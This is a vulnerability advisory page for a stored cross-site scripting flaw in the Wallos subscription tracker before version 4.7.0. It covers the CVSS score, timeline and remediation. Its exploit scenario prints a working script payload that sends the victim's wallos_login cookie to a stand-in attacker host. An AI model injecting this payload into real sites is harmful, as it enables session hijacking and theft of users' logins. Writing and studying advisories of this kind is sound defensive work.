What is the CVSS score of EUVD-2026-14946?

EUVD-2026-14946 has a CVSS 3.1 base score of 5.4 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.0%.

Which versions of Wallos are affected by EUVD-2026-14946?

Organizations using Wallos should be aware of moderate risk from CVE-2026-33400, a cross-site scripting vulnerability rated CVSS 5.4.. A patch is available.

How to fix or mitigate EUVD-2026-14946?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Wallos EUVD-2026-14946

| CVE-2026-33400 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-24 GitHub_M

XSS Wallos

5.4

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.4 MEDIUM

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Required

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

Lifecycle Timeline

Patch available

Apr 16, 2026 - 05:29 EUVD

4.7.0

EUVD ID Assigned

Mar 24, 2026 - 18:15 euvd

EUVD-2026-14946

Analysis Generated

Mar 24, 2026 - 18:15 vuln.today

CVE Published

Mar 24, 2026 - 17:45 nvd

MEDIUM 5.4

DescriptionGitHub Advisory

Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, a stored cross-site scripting (XSS) vulnerability in the payment method rename endpoint allows any authenticated user to inject arbitrary JavaScript that executes when any user visits the Settings, Subscriptions, or Statistics pages. Combined with the wallos_login authentication cookie lacking the HttpOnly flag, this enables full session hijacking. This issue has been patched in version 4.7.0.

AnalysisAI

A stored cross-site scripting (XSS) vulnerability exists in Wallos versions prior to 4.7.0 within the payment method rename endpoint that allows authenticated users to inject arbitrary JavaScript code. When any user visits the Settings, Subscriptions, or Statistics pages, the injected malicious script executes in their browser context. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Vulnerability AssessmentAI

Risk Assessment	The CVSS 3.1 score of 5.4 (Medium) reflects a network-accessible vulnerability requiring low attack complexity and low privileges (authenticated user), with limited scope and impact (Confidentiality and Integrity, no Availability impact). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An authenticated attacker with low privileges creates or renames a payment method with a malicious payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When an administrator or any other user visits the Settings, Subscriptions, or Statistics page to review subscription data, the injected script executes in their browser, silently exfiltrating their wallos_login session cookie to the attacker's server. …
Remediation	Immediately upgrade Wallos to version 4.7.0 or later to receive the XSS fix and any related security hardening. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

EUVD-2026-14946 vulnerability details – vuln.today

Back